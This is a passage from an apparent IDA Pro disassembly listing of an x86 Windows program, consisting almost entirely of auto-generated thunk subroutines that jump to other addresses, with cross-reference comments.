		jmp	sub_431470
sub_401762	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401767	proc near		; CODE XREF: ___:0040AFF4p
		jmp	sub_4348A0
sub_401767	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40176C	proc near		; CODE XREF: sub_418E80+5Fp
		jmp	sub_419110
sub_40176C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401771	proc near		; CODE XREF: ___:0041896Cp
		jmp	sub_418590
sub_401771	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401776	proc near		; CODE XREF: ___:00416B1Bp
					; ___:00416DE3p ...
		jmp	sub_416DC0
sub_401776	endp

; ---------------------------------------------------------------------------
		jmp	loc_420EC0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401780	proc near		; CODE XREF: ___:00416EBFp
		jmp	sub_417E30
sub_401780	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401785	proc near		; CODE XREF: sub_430B30+5Dp
					; sub_431B00+2Cp ...
		jmp	sub_4322D0
sub_401785	endp

; ---------------------------------------------------------------------------
		jmp	loc_42F590

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40178F	proc near		; CODE XREF: ___:00427370p
		jmp	sub_428880
sub_40178F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401794	proc near		; CODE XREF: ___:00426757p
		jmp	sub_426560
sub_401794	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401799	proc near		; CODE XREF: ___:00416F9Ap
		jmp	sub_418360
sub_401799	endp

; ---------------------------------------------------------------------------
		jmp	loc_433200
; ---------------------------------------------------------------------------
		jmp	loc_4301A0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017A8	proc near		; CODE XREF: ___:004292B3p sub_429310j ...
		jmp	sub_4291E0
sub_4017A8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017AD	proc near		; CODE XREF: ___:00416BCBp
					; ___:00416D93p ...
		jmp	sub_416D60
sub_4017AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017B2	proc near		; DATA XREF: ___:off_43F17Co
		jmp	sub_42B3F0
sub_4017B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017B7	proc near		; CODE XREF: sub_431240+D7p
		jmp	sub_432A20
sub_4017B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017BC	proc near		; CODE XREF: sub_40AF60+5j
					; ___:loc_4313CDp
		jmp	sub_432670
sub_4017BC	endp

; ---------------------------------------------------------------------------
		jmp	loc_431420

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017C6	proc near		; CODE XREF: sub_4266D0+10p
					; sub_4267D0+3Dp
		jmp	sub_4267A0
sub_4017C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017CB	proc near		; CODE XREF: sub_40AF80+5j
					; ___:loc_4313D5p ...
		jmp	sub_432690
sub_4017CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017D0	proc near		; DATA XREF: ___:off_43F000o
		jmp	sub_404CC0
sub_4017D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017D5	proc near		; CODE XREF: sub_4248E0+1Ep
					; sub_424920+A6p ...
		jmp	sub_424870
sub_4017D5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017DA	proc near		; CODE XREF: ___:00416B8Bp
					; ___:0043B234j ...
		jmp	sub_417A60
sub_4017DA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017DF	proc near		; CODE XREF: sub_416220+11p
					; ___:00416247p ...
		jmp	sub_4167F0
sub_4017DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017E4	proc near		; CODE XREF: sub_415A10+3p
					; ___:0041626Fp ...
		jmp	sub_4164A0
sub_4017E4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4017E9	proc near		; CODE XREF: sub_415600+6Ap
					; sub_416030+32p
		jmp	sub_415F70
sub_4017E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017EE	proc near		; CODE XREF: sub_403530+DBp
					; sub_404010+3Fp ...
		jmp	sub_40A800
sub_4017EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017F3	proc near		; CODE XREF: ___:00421EAAp
		jmp	sub_422470
sub_4017F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4017F8	proc near
		jmp	sub_40B2F0
sub_4017F8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017FD	proc near		; CODE XREF: sub_4068E0+205p
		jmp	sub_41B920
sub_4017FD	endp

; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_8. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401807	proc near		; CODE XREF: ___:00427D03p
		jmp	sub_427D30
sub_401807	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40180C	proc near		; CODE XREF: ___:00425F16p
					; ___:00425F47p
		jmp	sub_4257F0
sub_40180C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401811	proc near		; CODE XREF: sub_41E760+FFp
					; sub_41E760+179p ...
		jmp	sub_421B80
sub_401811	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401816	proc near		; CODE XREF: sub_40A1F0+7p
		jmp	sub_40A210
sub_401816	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40181B	proc near		; CODE XREF: sub_40B510+76p
		jmp	sub_40B470
sub_40181B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401820	proc near		; CODE XREF: ___:00423F8Dp
					; DATA XREF: ___:off_445424o
		jmp	sub_425100
sub_401820	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401825	proc near		; CODE XREF: sub_41E760+18Ep
					; ___:0043C483j
		jmp	sub_4219F0
sub_401825	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40182A	proc near		; DATA XREF: ___:off_43F10Co
		jmp	sub_428210
sub_40182A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40182F	proc near		; CODE XREF: ___:00416EDFp
		jmp	sub_417EF0
sub_40182F	endp

; ---------------------------------------------------------------------------
		jmp	loc_42FF10

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401839	proc near		; CODE XREF: sub_41E760+3BCp
					; sub_4226B0+3p
		jmp	sub_421D50
sub_401839	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40183E	proc near		; CODE XREF: sub_427990+90p
		jmp	sub_427C50
sub_40183E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401843	proc near		; CODE XREF: ___:0042444Dp
					; sub_424920+135p
		jmp	sub_424480
sub_401843	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401848	proc near		; CODE XREF: sub_40BF20+3p
					; ___:0040BFEFp ...
		jmp	sub_40C160
sub_401848	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40184D	proc near		; CODE XREF: sub_407140+36p
					; sub_407140+72p ...
		jmp	sub_407390
sub_40184D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401852	proc near		; CODE XREF: ___:00413251p
		jmp	sub_415770
sub_401852	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401857	proc near		; CODE XREF: ___:0040BAB1p
					; ___:0040BB78p ...
		jmp	sub_412B70
sub_401857	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40185C	proc near		; CODE XREF: ___:004332DFp
					; ___:004333EFp ...
		jmp	sub_432E20
sub_40185C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401861	proc near		; DATA XREF: ___:0043359Ao
					; ___:00433700o
		jmp	sub_432E90
sub_401861	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401866	proc near		; CODE XREF: sub_416460+7p
		jmp	sub_416840
sub_401866	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40186B	proc near		; CODE XREF: sub_418430+34p
		jmp	sub_404C70
sub_40186B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401870	proc near		; CODE XREF: sub_403530+7Ap
					; sub_403530+9Ep ...
		jmp	sub_409C20
sub_401870	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401875	proc near		; CODE XREF: sub_420630+152p
		jmp	sub_4208A0
sub_401875	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40187A	proc near		; CODE XREF: ___:0041A328p
					; sub_41B110+3p ...
		jmp	sub_41B140
sub_40187A	endp

; ---------------------------------------------------------------------------
		jmp	loc_42B060
; ---------------------------------------------------------------------------
		jmp	loc_41C1E0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401889	proc near		; CODE XREF: ___:00416B4Bp
					; ___:0043B26Cj ...
		jmp	sub_416E10
sub_401889	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40188E	proc near		; CODE XREF: sub_410030+217p
					; sub_41FE90+4Cp ...
		jmp	sub_41FE50
sub_40188E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401893	proc near		; CODE XREF: sub_42AD90+9Dp
		jmp	sub_429450
sub_401893	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401898	proc near		; CODE XREF: ___:0042D2F5p
		jmp	sub_4290B0
sub_401898	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40189D	proc near		; DATA XREF: ___:0043F184o
		jmp	sub_42B440
sub_40189D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018A2	proc near		; CODE XREF: sub_41B5B0+DDp
		jmp	sub_41AE30
sub_4018A2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018A7	proc near
		jmp	sub_4341C0
sub_4018A7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018AC	proc near		; CODE XREF: ___:00414295p
					; sub_414E10+1B2p
		jmp	sub_413E70
sub_4018AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018B1	proc near		; CODE XREF: sub_4120B0+1B6p
		jmp	sub_40A1F0
sub_4018B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018B6	proc near		; CODE XREF: sub_41E760+5ABp
		jmp	sub_4204D0
sub_4018B6	endp

; ---------------------------------------------------------------------------
		jmp	loc_433000

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018C0	proc near		; CODE XREF: sub_40A9F0+14p
		jmp	sub_40ACA0
sub_4018C0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018C5	proc near		; CODE XREF: sub_4135E0+B4p
					; ___:00414C60p ...
		jmp	sub_415710
sub_4018C5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018CA	proc near		; CODE XREF: sub_41A3B0+6Dp
					; sub_41A3B0+1B5p
		jmp	sub_41B060
sub_4018CA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018CF	proc near		; CODE XREF: ___:004323CAp
		jmp	sub_431D80
sub_4018CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018D4	proc near		; CODE XREF: sub_418F90+5Fp
		jmp	sub_419130
sub_4018D4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018D9	proc near		; CODE XREF: ___:00416B9Bp
					; ___:0043B226j ...
		jmp	sub_4179F0
sub_4018D9	endp

; ---------------------------------------------------------------------------
		jmp	loc_419ED0
; ---------------------------------------------------------------------------
		jmp	sub_41A1E0

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4018E8	proc near		; CODE XREF: sub_41E760+46p
		jmp	sub_4219B0
sub_4018E8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018ED	proc near		; CODE XREF: ___:0042D425p
		jmp	sub_42ACB0
sub_4018ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4018F2	proc near		; CODE XREF: sub_422230+7p
		jmp	sub_422620
sub_4018F2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018F7	proc near		; CODE XREF: sub_4220B0+9p
					; sub_422510+18p
		jmp	sub_422690
sub_4018F7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018FC	proc near		; CODE XREF: sub_4222B0+8p
		jmp	sub_422670
sub_4018FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401901	proc near		; CODE XREF: sub_4134A0+43p
					; sub_4148A0+4Fp ...
		jmp	sub_415820
sub_401901	endp

; ---------------------------------------------------------------------------
		jmp	loc_431D00

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40190B	proc near		; CODE XREF: sub_421AD0+1Fp
		jmp	sub_421E50
sub_40190B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401910	proc near		; CODE XREF: sub_4219B0+11p
					; sub_421E50+1Fp
		jmp	sub_421F80
sub_401910	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401915	proc near		; CODE XREF: sub_40B470+6Dp
		jmp	sub_40BE70
sub_401915	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40191A	proc near		; CODE XREF: sub_409530+13p
		jmp	sub_409660
sub_40191A	endp

; ---------------------------------------------------------------------------
		jmp	loc_4378B0
; ---------------------------------------------------------------------------
		jmp	sub_41B110
; ---------------------------------------------------------------------------


loc_401929:				; DATA XREF: ___:off_43F068o
		jmp	loc_416DE0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40192E	proc near		; CODE XREF: ___:00413C01p
		jmp	sub_413A80
sub_40192E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401933	proc near		; CODE XREF: ___:00413263p
					; sub_4132F0+32p
		jmp	sub_4155B0
sub_401933	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401938	proc near		; CODE XREF: ___:00416C4Bp
					; ___:0043B18Cj ...
		jmp	sub_417120
sub_401938	endp

; ---------------------------------------------------------------------------
		jmp	loc_432390
; ---------------------------------------------------------------------------
		jmp	loc_4347E0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401947	proc near		; CODE XREF: sub_41C710+F1p
					; sub_41C710+270p ...
		jmp	sub_420F10
sub_401947	endp

; ---------------------------------------------------------------------------
		jmp	loc_40A4E0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401951	proc near		; CODE XREF: sub_404CC0+283p
					; sub_40EE40+D2p ...
		jmp	sub_40F060
sub_401951	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401956	proc near		; CODE XREF: sub_4219F0+34p
					; sub_422340+67p
		jmp	sub_421FD0
sub_401956	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40195B	proc near		; CODE XREF: sub_404CC0+BF1p
		jmp	sub_406730
sub_40195B	endp

; ---------------------------------------------------------------------------
		jmp	loc_433650
; ---------------------------------------------------------------------------


loc_401965:				; DATA XREF: sub_41FD00+39o
		jmp	loc_41FC30

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40196A	proc near		; CODE XREF: ___:0041A29Ep
					; sub_41A3B0+Bp ...
		jmp	sub_41A390
sub_40196A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40196F	proc near		; CODE XREF: ___:0041AC86p
					; ___:0041AD66p
		jmp	sub_41A990
sub_40196F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401974	proc near
		jmp	sub_419320
sub_401974	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401979	proc near		; CODE XREF: sub_4119E0+2Ep
					; sub_411BE0+3p
		jmp	sub_411B20
sub_401979	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40197E	proc near		; CODE XREF: sub_41E760+F5p
					; sub_41E760+16Fp ...
		jmp	sub_421AA0
sub_40197E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401983	proc near		; CODE XREF: sub_409530+4p
					; sub_4096E0+1Fp ...
		jmp	sub_4095E0
sub_401983	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401988	proc near
		jmp	sub_409B10
sub_401988	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40198D	proc near		; CODE XREF: sub_41F960+20p
					; sub_42AD90+37p
		jmp	sub_41FF50
sub_40198D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401992	proc near		; CODE XREF: sub_4135E0+4Ap
					; ___:00414C0Fp ...
		jmp	sub_415500
sub_401992	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401997	proc near		; CODE XREF: sub_40A510+A8p
		jmp	sub_40A930
sub_401997	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40199C	proc near		; CODE XREF: sub_40CC90+41p
		jmp	sub_40CF40
sub_40199C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019A1	proc near		; CODE XREF: ___:004346F5p
					; ___:004347F5p
		jmp	sub_434450
sub_4019A1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019A6	proc near		; CODE XREF: sub_4219F0+29p
		jmp	sub_421EF0
sub_4019A6	endp

; ---------------------------------------------------------------------------
		jmp	loc_42FFE0
; ---------------------------------------------------------------------------
		jmp	loc_42FFB0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019B5	proc near		; CODE XREF: sub_40A870+Dp
					; sub_40AAD0+91p
		jmp	sub_40A9F0
sub_4019B5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019BA	proc near		; CODE XREF: sub_422150+23p
					; sub_422510+11p
		jmp	sub_4226B0
sub_4019BA	endp

; ---------------------------------------------------------------------------
		jmp	loc_41AC20

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019C4	proc near		; CODE XREF: sub_404010+2Cp
					; ___:0040408Fp ...
		jmp	sub_403530
sub_4019C4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019C9	proc near		; CODE XREF: sub_422850+6p
		jmp	sub_4228C0
sub_4019C9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019CE	proc near		; DATA XREF: ___:off_43F050o
		jmp	sub_416D30
sub_4019CE	endp

; ---------------------------------------------------------------------------
		jmp	sub_40FE40

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4019D8	proc near		; CODE XREF: sub_407460+4p
		jmp	sub_407590
sub_4019D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019DD	proc near		; CODE XREF: ___:0040B709p
					; ___:0040BB26p ...
		jmp	sub_40B600
sub_4019DD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019E2	proc near		; CODE XREF: sub_410030+AF4p
					; sub_410030+E6Ap
		jmp	sub_411BE0
sub_4019E2	endp

; ---------------------------------------------------------------------------
		jmp	loc_433C30

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019EC	proc near		; CODE XREF: sub_4145A0+CEp
		jmp	sub_414710
sub_4019EC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019F1	proc near		; DATA XREF: ___:0043F1C8o
		jmp	sub_42CB70
sub_4019F1	endp

; ---------------------------------------------------------------------------


loc_4019F6:				; DATA XREF: ___:off_43F0D0o
		jmp	loc_41D830

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019FB	proc near		; CODE XREF: sub_421B10+3p
		jmp	sub_422030
sub_4019FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401A00	proc near		; CODE XREF: ___:00416E8Fp
		jmp	sub_40B190
sub_401A00	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401A05	proc near
		jmp	sub_4133B0
sub_401A05	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A0A	proc near		; CODE XREF: sub_41E760+477p
		jmp	sub_4201F0
sub_401A0A	endp

; ---------------------------------------------------------------------------
		jmp	loc_421950

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A14	proc near		; DATA XREF: ___:0043F124o
		jmp	sub_428940
sub_401A14	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401A19	proc near
		jmp	sub_411C10
sub_401A19	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A1E	proc near		; CODE XREF: sub_4344C0+92p
		jmp	sub_431C30
sub_401A1E	endp

; ---------------------------------------------------------------------------
		jmp	loc_4292B0
; ---------------------------------------------------------------------------
		jmp	loc_427D00

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401A2D	proc near		; CODE XREF: sub_421EF0+32p
		jmp	sub_422340
sub_401A2D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A32	proc near		; CODE XREF: ___:00416BDBp
					; sub_416D30+3p ...
		jmp	sub_416D00
sub_401A32	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A37	proc near		; CODE XREF: ___:00423B04p
					; ___:004285E8p ...
		jmp	sub_420E00
sub_401A37	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A3C	proc near		; CODE XREF: sub_422310+Ap
		jmp	sub_422720
sub_401A3C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A41	proc near		; CODE XREF: ___:00412F9Fp
					; ___:00413054p ...
		jmp	sub_404690
sub_401A41	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A46	proc near		; CODE XREF: sub_409530+1Ap
					; sub_409610+4p ...
		jmp	sub_4095A0
sub_401A46	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401A4B	proc near		; DATA XREF: ___:off_43F028o
		jmp	sub_40FE40
sub_401A4B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A50	proc near		; DATA XREF: ___:0043F0E4o
		jmp	sub_427990
sub_401A50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A55	proc near		; CODE XREF: ___:00426475p
		jmp	sub_426070
sub_401A55	endp

; ---------------------------------------------------------------------------
		jmp	loc_409E30

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A5F	proc near		; CODE XREF: sub_415BA0+1Ep
		jmp	sub_416650
sub_401A5F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A64	proc near		; CODE XREF: ___:004305E0p
					; sub_4321F0+36p ...
		jmp	sub_431630
sub_401A64	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A69	proc near		; CODE XREF: sub_4138B0+3Ep
		jmp	sub_434BF0
sub_401A69	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A6E	proc near		; CODE XREF: sub_414A70+3p
		jmp	sub_414AA0
sub_401A6E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A73	proc near		; CODE XREF: ___:00408299p
					; ___:0040872Ap
		jmp	sub_409570
sub_401A73	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401A78	proc near		; DATA XREF: ___:0043F0E0o
					; ___:0043F0F0o ...
		jmp	sub_4276C0
sub_401A78	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401A7D	proc near		; CODE XREF: sub_41D930+1ADp
		jmp	sub_42DB00
sub_401A7D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A82	proc near		; CODE XREF: sub_420630+191p
					; sub_4228C0+3p ...
		jmp	sub_4208C0
sub_401A82	endp

; ---------------------------------------------------------------------------
		jmp	loc_4302E0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A8C	proc near		; CODE XREF: sub_4226E0+5p
		jmp	sub_422850
sub_401A8C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A91	proc near		; CODE XREF: ___:00416F4Ap
		jmp	sub_418200
sub_401A91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A96	proc near		; CODE XREF: sub_407270+5p
					; sub_407360+6p ...
		jmp	sub_4074B0
sub_401A96	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A9B	proc near		; CODE XREF: sub_403530+90p
					; sub_404CC0+40Cp ...
		jmp	sub_40A780
sub_401A9B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401AA0	proc near		; CODE XREF: sub_41D930+2FFp
					; sub_41F030+52Fp
		jmp	sub_41FE90
sub_401AA0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401AA5	proc near		; CODE XREF: ___:004330BAp
		jmp	sub_430B30
sub_401AA5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401AAA	proc near		; CODE XREF: sub_415570+1Fp
		jmp	sub_415ED0
sub_401AAA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401AAF	proc near		; CODE XREF: sub_403530+E5p
					; sub_409F50+Fp ...
		jmp	sub_409E80
sub_401AAF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401AB4	proc near		; CODE XREF: sub_432850+17p
					; sub_432850+33p
		jmp	sub_434A00
sub_401AB4	endp

; ---------------------------------------------------------------------------
		jmp	loc_434770
; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_11. PRESS KEYPAD "+" TO	EXPAND]
; ---------------------------------------------------------------------------
		jmp	loc_427D00

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401AC8	proc near		; CODE XREF: sub_424F70+E5p
					; sub_424F70+120p
		jmp	sub_424E20
sub_401AC8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401ACD	proc near		; DATA XREF: ___:off_43F034o
		jmp	sub_4120B0
sub_401ACD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401AD2	proc near		; DATA XREF: ___:0041FC33o
		jmp	sub_41FB90
sub_401AD2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401AD7	proc near		; CODE XREF: sub_407140+Bp
		jmp	sub_407320
sub_401AD7	endp

; ---------------------------------------------------------------------------
		jmp	loc_433E90
; ---------------------------------------------------------------------------


loc_401AE1:				; DATA XREF: ___:off_43F020o
		jmp	loc_40B9B0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401AE6	proc near		; CODE XREF: sub_403F30+2Bp
					; sub_403F30+3Bp ...
		jmp	sub_403D60
sub_401AE6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401AEB	proc near		; CODE XREF: sub_4135E0+66p
					; sub_4135E0+CAp ...
		jmp	sub_415740
sub_401AEB	endp

; ---------------------------------------------------------------------------
		jmp	loc_41B880

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401AF5	proc near
		jmp	sub_4228F0
sub_401AF5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401AFA	proc near		; CODE XREF: ___:00416C2Bp
					; ___:0043B1A8j ...
		jmp	sub_40B250
sub_401AFA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401AFF	proc near		; CODE XREF: ___:00421864p
					; ___:0042189Ep
		jmp	sub_4216D0
sub_401AFF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B04	proc near		; CODE XREF: sub_404C30+15p
		jmp	sub_407140
sub_401B04	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B09	proc near		; DATA XREF: ___:off_43F0BCo
		jmp	sub_41A1E0
sub_401B09	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401B0E	proc near		; CODE XREF: ___:0041700Fp
		jmp	sub_418A00
sub_401B0E	endp

; ---------------------------------------------------------------------------


loc_401B13:				; CODE XREF: ___:00439F76j
		jmp	loc_40CBD0
; ---------------------------------------------------------------------------


loc_401B18:				; DATA XREF: ___:off_43F16Co
		jmp	loc_42B060

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401B1D	proc near		; CODE XREF: sub_4170B0+28p
		jmp	sub_418990
sub_401B1D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401B22	proc near		; CODE XREF: ___:00432CD7p
		jmp	sub_432D10
sub_401B22	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


